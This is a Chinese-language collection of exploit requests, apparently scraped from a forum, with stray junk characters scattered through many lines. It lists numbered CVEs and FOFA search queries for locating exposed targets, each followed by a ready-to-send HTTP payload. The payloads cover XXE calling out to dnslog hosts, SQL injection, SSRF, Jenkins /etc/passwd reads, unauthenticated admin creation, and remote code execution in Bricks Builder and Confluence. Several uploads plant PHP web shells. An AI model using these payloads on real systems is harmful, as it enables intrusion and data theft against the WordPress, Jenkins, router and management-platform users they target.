$ [/ j) I4 j, Y7 O7 F- `User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
0 k# v+ }" t. ?Connection: close
Content-Length: 204
Content-Type: application/x-www-form-urlencoded
- }, q; W) _% {$ k. GAccept-Encoding: gzip
; Z, L( _5 {8 X; B2 [
SAMLRequest=PD94bWwgdmVyc2lvbj0iMS4wIiA/PjwhRE9DVFlQRSByb290IFs8IUVOVElUWSAlIHdhdGNoVG93ciBTWVNURU0KICAgICJodHRwOi8vYzJ2a2J3YnMuZG5zbG9nLnB3L3giPiAld2F0Y2hUb3dyO10+PHI+PC9yPg==

$ \# S; e! `, e. U
其中SAMLRequest的值是xml文件内容的base64值，xml文件如下
<?xml version="1.0" ?><!DOCTYPE root [<!ENTITY % watchTowr SYSTEM"http://c2vkbwbs.dnslog.pw/x"> %watchTowr;]><r></r>

9 v. `: d8 i# W: ]  o
104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露
CVE-2024-0569
) J9 O1 F0 N) ~% k* }3 rFOFA：title="TOTOLINK"
POST /cgi-bin/cstecgi.cgi HTTP/1.1
. D$ I0 x% l  b$ y$ sHost:192.168.0.1
9 B9 F8 \9 I+ @7 f6 x2 I$ LContent-Length:41
Accept:application/json,text/javascript，*/*;q=0.01
X-Requested-with: XMLHttpRequest
$ k- y' Z! W; G' u9 Q  mUser-Agent: Mozilla/5.0 (Windows NT 10.0;Win64; x64)AppleWebKit/537.36 (KHTML, like Gecko)Chrome/99.0.4844.51Safari/537.36
Content-Type: application/x-www-form-urlencoded:charset=UTF-8
Origin: http://192.168.0.1
/ d; A; I8 Y- T/ z2 h: [" ~' R: M; |: xReferer: http://192.168.0.1/advance/index.html?time=1671152380564
Accept-Encoding:gzip,deflate
Accept-Language:zh-Tw,zh:g=0.9.en-US:g=0.8.en:g=0.7
* P) t$ Y1 u" p8 z* i+ QConnection:close
6 I. \  W, l5 {! }. A
5 J9 \) j; N$ \{
"topicurl":"getSysStatusCfg",
"token":""
}

105. SpringBlade v3.2.0 export-user SQL 注入
$ f( R2 b* f" y) h! M4 T. ~5 _FOFA：body="https://bladex.vip"
http://192.168.40.130.90/api/bla ... ame&1-updatexml(1,concat(0x7e,md5(102103122),0x7e),1)=1

106. SpringBlade dict-biz/list SQL 注入
FOFA：body="Saber 将不能正常工作"
6 A" l3 E8 C& W5 D2 sGET /api/blade-system/dict-biz/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
/ Z% l) t1 i) fHost: your-ip
$ G: y0 @1 G$ {' c" ]User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Blade-Auth: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJpc3MiOiJpc3N1c2VyIiwiYXVkIjoiYXVkaWVuY2UiLCJ0ZW5hbnRfaWQiOiIwMDAwMDAiLCJyb2xlX25hbWUiOiJhZG1pbmlzdHJhdG9yIiwidXNlcl9pZCI6IjExMjM1OTg4MjE3Mzg2NzUyMDEiLCJyb2xlX2lkIjoiMTEyMzU5ODgxNjczODY3NTIwMSIsInVzZXJfbmFtZSI6ImFkbWluIiwib2F1dGhfaWQiOiIiLCJ0b2tlbl90eXBlIjoiYWNjZXNzX3Rva2VuIiwiZGVwdF9pZCI6IjExMjM1OTg4MTM3Mzg2NzUyMDEiLCJhY2NvdW50IjoiYWRtaW4iLCJjbGllbnRfaWQiOiJzd29yZCIsImV4cCI6MTc5MTU3MzkyMiwibmJmIjoxNjkxNTcwMzIyfQ.wxB9etQp2DUL5d3-VkChwDCV3Kp-qxjvhIF_aD_beF_KLwUHV7ROuQeroayRCPWgOcmjsOVq6FWdvvyhlz9j7A
Accept-Encoding: gzip, deflate
5 a9 t) h+ D9 C/ CAccept-Language: zh-CN,zh;q=0.9
1 W0 f, F& T. ], M1 N* UConnection: close
! I' d9 o& C( t! ^9 ^

107. SpringBlade tenant/list SQL 注入
FOFA：body="https://bladex.vip"
1 O- g8 @) b0 A2 b. iGET /api/blade-system/tenant/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
4 y& s$ m- ~' Z, z5 h" b) sHost: your-ip
' [. Y9 i0 V; V9 I6 l1 v  HUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Blade-Auth:替换为自己的
2 q0 P* a8 D1 S7 N3 eConnection: close
1 d9 }6 W" X; |1 N) t/ q  u

108. D-Tale 3.9.0 SSRF
$ q6 I3 ?3 T. ]! t* p) CCVE-2024-21642
FOFA："dtale/static/images/favicon.png"
GET /dtale/web-upload?type=csv&url=http%3A%2F%2Fa4xs0nop.dnslog.pw HTTP/1.1
+ m* a6 u; A# v1 y; c9 JHost: your-ip
: f- M7 N' F( Z- p9 z, b( S5 i* e7 dAccept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
9 e  m4 v8 h# Z3 bAccept-Encoding: gzip, deflate
$ w4 ?: G. q/ nAccept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
9 u3 ~9 _0 h- x* O' e

109. Jenkins CLI 任意文件读取
CVE-2024-23897
FOFA：header="X-Jenkins"
; J, A( M- ]2 ?0 d0 sPOST /cli?remoting=false HTTP/1.1
Host:
Content-type: application/octet-stream
Session: 39382176-ac9c-4a00-bbc6-4172b3cf1e92
) A) T  W# L" M% H0 wSide: upload
  f3 p5 o2 F- P6 c9 @' lConnection: keep-alive
Content-Length: 163

b'\x00\x00\x00\x06\x00\x00\x04help\x00\x00\x00\x0e\x00\x00\x0c@/etc/passwd\x00\x00\x00\x05\x02\x00\x03GBK\x00\x00\x00\x07\x01\x00\x05en_US\x00\x00\x00\x00\x03'
/ u% c  ^9 T+ G2 F" g' [
9 W% c' |+ \8 \+ f$ {
% {1 |7 ?4 F; \2 d, PPOST /cli?remoting=false HTTP/1.1
Host:
2 t% w) m( w: p( S+ QSession: 39382176-ac9c-4a00-bbc6-4172b3cf1e92
  E5 _- Z& S5 C1 J7 U( @+ y/ ?2 B5 Rdownload
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

$ E* |0 V% ~8 K0 D
ERROR: Too many arguments: daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
( s/ O: A( L% x# F" Mjava -jar jenkins-cli.jar help
' m0 r, @, ~, K- I% Q; E[COMMAND]
Lists all the available commands or a detailed description of single command.
COMMAND : Name of the command (default: root:x:0:0:root:/root:/bin/bash)

3 Z2 [  [# Y2 L) b* J) R, x5 ^
- r8 L; R0 v, T; V110. Goanywhere MFT 未授权创建管理员
CVE-2024-0204
FOFA：body="InvalidBrowser.xhtml"|| icon_hash="1484947000"|| icon_hash="1828756398"|| icon_hash="1170495932"
0 j7 L6 w+ B5 C, C& YGET /goanywhere/images/..;/wizard/InitialAccountSetup.xhtml HTTP/1.1
5 T8 b/ z7 [2 t: DHost: 192.168.40.130:8000
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686 on x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2820.59 Safari/537.36
2 a- X- Z' {9 n1 ]# ^Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
) K3 i7 @, @+ V0 s6 ?4 r- }
: V2 `' ]3 c) b4 s2 b" s
111. WordPress Plugin HTML5 Video Player SQL注入
CVE-2024-1061
FOFA："wordpress" && body="html5-video-player"
GET /?rest_route=/h5vp/v1/view/1&id=1'+AND+(SELECT+1+FROM+(SELECT(SLEEP(6)))a)--+- HTTP/1.1
9 f: d# d( ?' J  X* N; x2 K+ bHost: 192.168.40.130:112
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
2 @& R6 b6 K9 U8 _% q# W( @Connection: close
Accept: */*
; @* |- n; g) `$ gAccept-Language: en
" d) \% ]8 ?( r6 }2 ~/ o6 eAccept-Encoding: gzip

! s" O3 D9 F* C8 q
112. WordPress Plugin NotificationX SQL 注入
CVE-2024-1698
FOFA：body="/wp-content/plugins/notificationx"
: f! Q6 r- k$ m) N. ?5 LPOST /wp-json/notificationx/v1/analytics HTTP/1.1
Host: {{Hostname}}
# J/ ]! s% o! b/ |7 T( FContent-Type: application/json

{"nx_id": "1","type": "clicks`=1 and 1=sleep(5)-- -"}

$ h& K, W4 n) d& {  D$ s4 D
113. WordPress Automatic 插件任意文件下载和SSRF
: r8 N4 J' i! w4 H0 E! a- h( CCVE-2024-27954
: y0 }) I3 ]" P% t4 a8 H/ ~9 Z! SFOFA："/wp-content/plugins/wp-automatic"
% I& N& I/ N6 M8 G) I6 MGET /?p=3232&wp_automatic=download&link=file:///etc/passwd HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
* N1 ]* W7 @3 }% c: A/ IConnection: close
Accept: */*
$ C  ^  r6 p* [7 k# u+ U) ~" SAccept-Language: en
Accept-Encoding: gzip

- R5 Y7 d5 N8 g: ?+ [, h' W" a
3 @3 Y+ ]4 s) Q8 f114. WordPress MasterStudy LMS插件 SQL注入
1 @# W$ q+ a" R! P& N" BFOFA：body="wp-content/plugins/masterstudy-lms-learning-management-system/"
GET /?rest_route=/lms/stm-lms/order/items&author_id=1&user=1)+AND+%28SELECT+3493+FROM+%28SELECT%28SLEEP%285%29%29%29sauT%29+AND+%283071%3D3071 HTTP/1.1
Host: your-ip
! E0 J' L$ W) L8 lUser-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
& ^) ^0 z# _% \5 ?) LAccept-Encoding: gzip, deflate
Connection: close
# `- \+ ?1 w" @9 X0 n* m% n7 ]
& p  J: u$ ]5 d
115. WordPress Bricks Builder <= 1.9.6 RCE
CVE-2024-25600
1 k3 x! e! y% f. n7 E! S* H, W5 w8 j" tFOFA: body="/wp-content/themes/bricks/"
3 s1 R' _. \1 d9 p( b7 s第一步，获取网站的nonce值
GET / HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
Connection: close
Accept-Encoding: gzip


: O% G, \5 ^( D& U. ~4 S( y第二步替换nonce值，执行命令
  I4 R* t2 M3 HPOST /wp-json/bricks/v1/render_element HTTP/1.1
6 B+ V" w3 J3 z0 k& W6 W9 j1 @Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Connection: close
Content-Length: 356
Content-Type: application/json
Accept-Encoding: gzip

5 F& _6 N. H. F/ u. G{
"postId": "1",
- I+ t& ?: f8 P' c: u  "nonce": "第一步获得的值",
8 Q1 I: m" }9 D  "element": {
( N. w  q; l4 k; S# q    "name": "container",
    "settings": {
      "hasLoop": "true",
      "query": {
        "useQueryEditor": true,
        "queryEditor": "ob_start();echo `id`;$output=ob_get_contents();ob_end_clean();throw new Exception($output);",
9 K% j% J0 ?) N. Y        "objectType": "post"
5 c7 X! D: `2 b7 @& z& D/ A      }
# @+ v5 i0 f+ P" f7 }    }
  }
0 w  A) O" x4 |, d! _. g* Q}

. _! z7 n4 h3 @7 |
116. wordpress js-support-ticket文件上传
$ u8 d/ Y3 Y  Y- H  qFOFA：body="wp-content/plugins/js-support-ticket"
POST /wp-admin/?page=configuration&task=saveconfiguration HTTP/1.1
Host:
Content-Type: multipart/form-data; boundary=--------767099171
User-Agent: Mozilla/5.0

. k8 g" `" E  ?' {/ s& U. F----------767099171
; v: l6 O0 O$ y/ wContent-Disposition: form-data; name="action"
: f- B6 w; T6 O+ Econfiguration_saveconfiguration
# u5 r# ]; W" C----------767099171
& F* X4 p4 x, ~; E* l: ?6 ZContent-Disposition: form-data; name="form_request"
- D  P/ r% U' n/ B; K4 ejssupportticket
----------767099171
Content-Disposition: form-data; name="support_custom_img"; filename="{{rand8}}.php"
4 j5 x, p3 ^5 j/ {! n: R. l$ ?Content-Type: image/png
----------767099171--
0 q% v" g4 V, k3 h+ S
' t5 L8 f# b8 C, u2 M' ~2 B1 k
1 u1 f  J* _6 N, P" ~8 j, W& o117. WordPress LayerSlider插件SQL注入
5 g$ w% `4 x0 `. `; O4 jversion：7.9.11 – 7.10.0
FOFA：body="/wp-content/plugins/LayerSlider/"
GET /wp-admin/admin-ajax.php?action=ls_get_popup_markup&id[where]=1)and+(SELECT+6416+FROM+(SELECT(SLEEP(5)))nEiK)--+vqlq HTTP/1.1
; j  Y% y7 [9 u9 s, gHost: your-ip
+ y$ X9 S4 F2 ?1 J4 t- m1 ]3 F' wUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
& g+ t& x1 N8 LAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
% B$ y; C6 j3 v* ]  M9 `9 YAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
8 Z. P/ \  p- ^8 H! p, c' V4 mConnection: close
Upgrade-Insecure-Requests: 1
5 F! ?# T8 l1 p2 t; C
. q! m2 g* b% N$ O# H6 ^# o' n& [
" E( X! a$ J8 p; Z( g. L118. 北京百绰智能S210管理平台uploadfile.php任意文件上传
+ Z0 R3 h; e  y3 `6 o9 h: M2 wCVE-2024-0939
FOFA：title="Smart管理平台"
POST /Tool/uploadfile.php? HTTP/1.1
) m- S  b2 K7 T+ nHost: 192.168.40.130:8443
# `% I4 ]4 q. ]1 W1 `& RCookie: PHPSESSID=fd847fe4280e50c2c3855ffdee69b8f8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
" z! ^1 a5 J6 Q9 l8 s* j+ \Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
- R% Z7 u$ G% Z+ N1 K) }" wContent-Type: multipart/form-data; boundary=---------------------------13979701222747646634037182887
* h8 l) Z' p" ]. Q: y, RContent-Length: 405
/ N+ k! z" Z0 pOrigin: https://192.168.40.130:8443
Referer: https://192.168.40.130:8443/Tool/uploadfile.php
Upgrade-Insecure-Requests: 1
0 o( a/ B# F4 c4 H: Z8 HSec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
) n& N7 U# v% gSec-Fetch-User: ?1
Te: trailers
$ Y* C( S7 ^. V/ V; I  uConnection: close
( {7 D- {6 N. f7 n
-----------------------------13979701222747646634037182887
Content-Disposition: form-data; name="file_upload"; filename="contents.php"
9 y' |8 I8 g+ |" `* TContent-Type: application/octet-stream
) |1 r. ]7 d( I  k7 R# B) p
  g* h  w" [1 N0 ]) h<?php
2 N9 _! o. h- Asystem($_POST["passwd"]);
?>
  W6 V4 R8 U8 }4 S) m7 D1 ]-----------------------------13979701222747646634037182887
% x3 i9 C* S' FContent-Disposition: form-data; name="txt_path"

/home/src.php
-----------------------------13979701222747646634037182887--

1 ^; J! G( _* \& V6 ?8 U2 R
$ L$ W5 {: r0 L9 b/ k0 _4 S访问/home/src.php
0 D8 O1 K$ G6 G7 }  j$ k, Q: y3 c
119. 北京百绰智能S20后台sysmanageajax.php sql注入
% p* x7 C. A, u! b$ WCVE-2024-1254
7 b" @4 `% }+ r" GFOFA：title="Smart管理平台"
先登录进入系统，默认账号密码为admin/admin
POST /sysmanage/sysmanageajax.php HTTP/1.11
% o5 L9 `& b5 b7 Q5 \) eHost: x.x.x.x
& Y2 D9 H1 w& b. b) C, jCookie: PHPSESSID=b7e24f2cb8b51338e8531e0b50da49ee
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
0 N, d+ S8 t6 P' V3 LAccept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded;
Content-Length: 109
Origin: https://58.18.133.60:8443
Referer: https://58.18.133.60:8443/sysmanage/manageadmin.php
) n5 U+ f; ?5 U! X$ g7 H* W3 mSec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
9 z. N" X6 s2 ]8 {Sec-Fetch-Site: same-origin
- o$ j$ w9 A0 n+ o& u" z  _7 sX-Forwarded-For: 1.1.1.1
X-Originating-Ip: 1.1.1.1
; W, J5 k4 x" [4 f3 uX-Remote-Ip: 1.1.1.1
X-Remote-Addr: 1.1.1.1
8 k' k. I* g9 ~( I2 ^Te: trailers
Connection: close
1 }3 W+ w5 \7 I, s4 j, }) n6 h$ O
9 w/ f$ Q7 I' ~) Y# x. ^  @src=manageadmin&type=add&id=(select*from(select+if(length(database())=3,sleep(5),1))a)|1|1&value=test2|123456
0 R3 c+ G3 \- m; m0 p$ u

2 d4 F* O8 {9 e120. 北京百绰智能S40管理平台导入web.php任意文件上传
* V5 [% M4 c7 y) n; _/ h( W9 tCVE-2024-1253
, f5 P" J. m$ B. N$ {6 j: mFOFA：title="Smart管理平台"
. c  P) J5 E; v) wPOST /useratte/web.php? HTTP/1.1
+ ?1 m) y5 `6 ^; Y' YHost: ip:port
/ Y2 i( w3 K+ TCookie: PHPSESSID=cb5c0eb7b9fabee76431aaebfadae6db
3 ?9 |3 i" x' ]' F" Y) L: S+ hUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
$ m' K7 o. C, q  ]6 oAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
Content-Length: 597
Origin: https://ip:port
Referer: https://ip:port/sysmanage/licence.php
1 w$ e" X% L' j+ ^* m" [0 wUpgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
8 R2 s' {4 [' c2 f, R$ j$ P4 nSec-Fetch-Mode: navigate
- D9 a/ w$ K* D) X/ \6 @Sec-Fetch-Site: same-origin
$ K' e, z, {: z7 O! W7 }Sec-Fetch-User: ?1
. Z, ~- U) C/ R/ y  hTe: trailers
/ W% ^( v' A, s5 PConnection: close

  {: K, W3 B+ h" T( Y+ }" u, G-----------------------------42328904123665875270630079328
) n  c: u0 `/ Z6 y2 e) K6 I( cContent-Disposition: form-data; name="file_upload"; filename="2.php"
1 }2 h$ d$ U  B$ p) K' k9 AContent-Type: application/octet-stream
& }3 v( ]# G% z* S2 a! S: ]
3 m: _# Z/ f& [" a3 @- i<?php phpinfo()?>
-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="id_type"

" d4 R1 I# @$ w; ~6 c1
-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="1_ck"

; w3 w9 X: D7 S) p$ L/ y1_radhttp
-----------------------------42328904123665875270630079328
* H& h  x2 O( A+ k! kContent-Disposition: form-data; name="mode"

import
-----------------------------42328904123665875270630079328
' q- t7 X0 U9 s9 e# y2 ^
+ a" |" ~; e) u  j  j8 h4 d8 r9 q
$ A7 o7 f$ |% M- n% \文件路径/upload/2.php
% t; L0 q- g1 `$ N/ m! ^
121. 北京百绰智能S42管理平台userattestation.php任意文件上传
% x9 Q& ]" c0 q$ {. iCVE-2024-1918
+ Q6 ]: g9 _/ HFOFA：title="Smart管理平台"
8 B1 j, u( N& U$ r5 r# zPOST /useratte/userattestation.php HTTP/1.1
Host: 192.168.40.130:8443
8 {- y4 n8 S  s4 RCookie: PHPSESSID=2174712c6aeda51c4fb6e6c5e6aaac50
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
" o+ S6 V# ]1 ]& fAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
; A& W+ @, r; o  n! N' s2 dAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
. p8 ?8 ]2 l& o- P! mAccept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
: H( [' F: }; v: U+ ]8 O( V' |Content-Length: 592
$ Y! m- E' b2 J0 m7 F# q+ t( OOrigin: https://192.168.40.130:8443
& j7 a( g+ A2 q. r3 [+ ?2 B* EUpgrade-Insecure-Requests: 1
* v6 ?7 W0 R6 L) ]Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
' v2 \- A: A- W1 I$ Y& t" }& c( ?Connection: close
/ u% C& o; N: s4 I* O
-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="web_img"; filename="1.php"
9 g4 Y  d6 L. z. t8 F  v) C4 A9 d" FContent-Type: application/octet-stream

<?php phpinfo();?>
-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="id_type"
7 |0 q3 w/ @. v  p( Y% R
7 t& K9 G7 A: O# P+ s1
-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="1_ck"

1_radhttp
) H! T; k1 E/ F- {& e* s+ m/ s-----------------------------42328904123665875270630079328
7 t% O6 X4 x2 v; J& E& c* u, }Content-Disposition: form-data; name="hidwel"
- ?$ [: p, `& l; c2 b4 e. ]/ ^/ |
& G/ s7 S* I0 [/ ?set
! w. A8 r! g: k% p' s, P# a! r-----------------------------42328904123665875270630079328
9 t8 I5 c, I7 {
- S2 N( s! W0 U& ~9 |- M
boot/web/upload/weblogo/1.php

122. 北京百绰智能s200管理平台/importexport.php sql注入
" i+ T! Y+ F6 ?$ k9 W8 s/ RCVE-2024-27718FOFA：title="Smart管理平台"
2 }+ t+ K7 o. K/ Z' z7 ^  q其中sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=是sql语句使用base64加密后的内容，原文：sql=select 1,database(),version()
GET /importexport.php?sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=&type=exportexcelbysql HTTP/1.1
Host: x.x.x.x
( A0 J. N  M+ S, z# e/ mCookie: PHPSESSID=f20e837c8024f47058ad2f689873dfc0
' D* C5 k+ ^$ M! C/ [User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
5 L5 F9 X! w& E- z8 A* fAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
, S! t/ [/ K9 I5 R. [! lAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
3 y0 k' ?: E2 I- L( M3 }/ dAccept-Encoding: gzip, deflate, br
Upgrade-Insecure-Requests: 1
  g8 Z$ A0 J% f) \Sec-Fetch-Dest: document
9 d2 S- j4 C" R0 P7 HSec-Fetch-Mode: navigate
, j! T+ U" e+ V8 T( @9 DSec-Fetch-Site: none
Sec-Fetch-User: ?1
% }1 O1 F0 O6 y# s3 W& pTe: trailers
( u) M# C! I" U8 QConnection: close


9 L9 X* B& \' e123. Atlassian Confluence 模板注入代码执行
FOFA：app="ATLASSIAN-Confluence" && body="由 Atlassian 合流8.5.3"
POST /template/aui/text-inline.vm HTTP/1.1
Host: localhost:8090
Accept-Encoding: gzip, deflate, br
Accept: */*
9 @& h' e  ^/ b8 o; yAccept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
' w; W, ~! q6 L7 w- Y; hConnection: close
Content-Type: application/x-www-form-urlencoded

" t* W% ]' T% B1 w! F% Jlabel=\u0027%2b#request\u005b\u0027.KEY_velocity.struts2.context\u0027\u005d.internalGet(\u0027ognl\u0027).findValue(#parameters.x,{})%2b\u0027&x=@org.apache.struts2.ServletActionContext@getResponse().setHeader('X-Cmd-Response',(new freemarker.template.utility.Execute()).exec({"id"}))

3 g! ]; ]- @  o
/ l( j% d% ?8 R: C' R* j124. 湖南建研工程质量检测系统任意文件上传
+ G. Q3 r' y, K, n& H, @0 uFOFA：body="/Content/Theme/Standard/webSite/login.css"
! X* T4 b- ?4 Z  o8 X, _9 C4 y( DPOST /Scripts/admintool?type=updatefile HTTP/1.1
+ m  r- q9 w1 i5 h' b0 G; AHost: 192.168.40.130:8282
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
, Y9 B+ u1 i- x0 lContent-Length: 72
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
- `. m1 T; C$ z9 W; v+ E  FAccept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
! C1 G3 B/ ^8 N% Z, [5 [0 }Content-Type: application/x-www-form-urlencoded

filePath=abcgcg.aspx&fileContent=<%Response.Write("Hello,World")%>
% k, J# b8 l. l0 p* u

http://192.168.40.130:8282/Scripts/abcgcg.aspx

125. ConnectWise ScreenConnect身份验证绕过
CVE-2024-1709
FOFA：icon_hash="-82958153"
https://github.com/watchtowrlabs ... bypass-add-user-poc


) ^3 o7 y" G/ R2 a3 J使用方法
* T8 ]- j/ L: R/ Q- w. a4 tpython watchtowr-vs-ConnectWise_2024-02-21.py --url http://localhost --username hellothere --password admin123!

. T' V9 i' y' G# n; J
创建好用户后直接登录后台，可以执行系统命令。
! q- K, A4 @, O$ A  S, {$ d
126. Aiohttp 路径遍历
8 h& N! f1 a$ l" rFOFA：title=="ComfyUI"
GET /static/../../../../../etc/passwd HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
3 b) F) }  h2 v, q; x) \7 ^- B. a# O; ]Connection: close
Accept: */*
Accept-Language: en
1 H3 f* d* Y3 d5 U2 O% WAccept-Encoding: gzip


3 X! ?' W4 U9 r& |8 [$ {127. 广联达Linkworks DataExchange.ashx XXE
/ i6 S4 @; w. ?9 x% nFOFA：body="Services/Identification/login.ashx"
POST /GB/LK/Document/DataExchange/DataExchange.ashx HTTP/1.1
Host: 192.168.40.130:8888
' C) i, N! a% H/ F% XUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36
4 [$ l1 y( l/ K) VContent-Length: 415
1 C9 k& ], b& q! X7 oAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
' \# ~% H( {$ `. c1 q$ q2 OConnection: close
Content-Type: multipart/form-data;boundary=----WebKitFormBoundaryJGgV5l5ta05yAIe0
. D1 ^- z. J, D8 t9 h) d9 L- cPurpose: prefetch
0 C( u7 H' a% [4 l- Y2 ~( z! \  PSec-Purpose: prefetch;prerender
/ d, q0 z7 A, J' h& S+ p6 v  [8 l
------WebKitFormBoundaryJGgV5l5ta05yAIe0
Content-Disposition: form-data;name="SystemName"
5 z# y- P9 Q7 P7 `; j
BIM
- E: ]9 m) b+ F5 M) ^+ _  T------WebKitFormBoundaryJGgV5l5ta05yAIe0
Content-Disposition: form-data;name="Params"
Content-Type: text/plain

<?xml version="1.0" encoding="UTF-8"?>
: y1 K8 s& {) l/ K8 I+ q<!DOCTYPE test [
<!ENTITY t SYSTEM "http://c2vkbwbs.dnslog.pw">
]
# k; Q8 Z3 Y: L. a; a* }>
; [2 C4 Y- y& l  o3 J: m5 d% @9 Z<test>&t;</test>
------WebKitFormBoundaryJGgV5l5ta05yAIe0--



128. Adobe ColdFusion 反序列化
& R3 c4 _4 f' m. qCVE-2023-38203
Adobe ColdFusion版本2018u17（以及早期版本）、2021u7（以及早期版本）和2023u1（以及早期版本）
+ v3 S* J$ U! @" s) J% CFOFA：app="Adobe-ColdFusion"
PAYLOAD

129. Adobe ColdFusion 任意文件读取
' l/ p. j$ E# |. [6 J7 u! BCVE-2024-20767
FOFA：app="Adobe-ColdFusion" && title=="Error Occurred While Processing Request"
第一步，获取uuid
GET /CFIDE/adminapi/_servermanager/servermanager.cfc?method=getHeartBeat HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
% u  n' U% V2 t* XAccept: */*
